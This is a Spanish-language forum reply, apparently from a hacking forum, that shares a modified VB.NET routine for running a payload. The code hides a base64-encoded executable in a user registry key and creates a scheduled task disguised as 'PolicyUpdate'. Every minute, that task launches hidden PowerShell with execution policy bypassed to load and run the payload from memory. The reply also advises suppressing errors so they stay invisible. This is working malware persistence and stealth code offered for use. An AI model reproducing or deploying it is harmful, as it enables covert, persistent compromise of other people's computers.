Primero que todo , Que Buen Aporte ! , tal vez te intereza hecharle un ojo a este Run : Los enlaces son solo para miembros.
Registrate o
iniciá sesiónlo Edite un poco a mi manera:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="FilePath">
''' Path to Payload.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Sub RunPowerShell(ByVal FilePath As String)
On Error Resume Next
Dim Payload As String = String.Empty
Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
Dim PYLDSTR As String = ConvertFileToBase64(FilePath)
CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
.FileName = "schtasks",
.Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
.CreateNoWindow = True,
.ErrorDialog = False,
.WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
})
End Sub
Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
ByVal Value As String)
Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
End Sub
Public Function ConvertFileToBase64(ByVal fileName As String) As String
Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
End Function
Por Otra parte estas usando muchos
Try para literalmente hacer lo errores Invisibles ni los usas para llevar un
LOG. eso aparte de quitarle la estetica al codigo es innecesario
(el colocar tantos try) con
1 bastaba . pero lo que quieres es que no salgan los errores asi q con el
On Error Resume Nex tienes.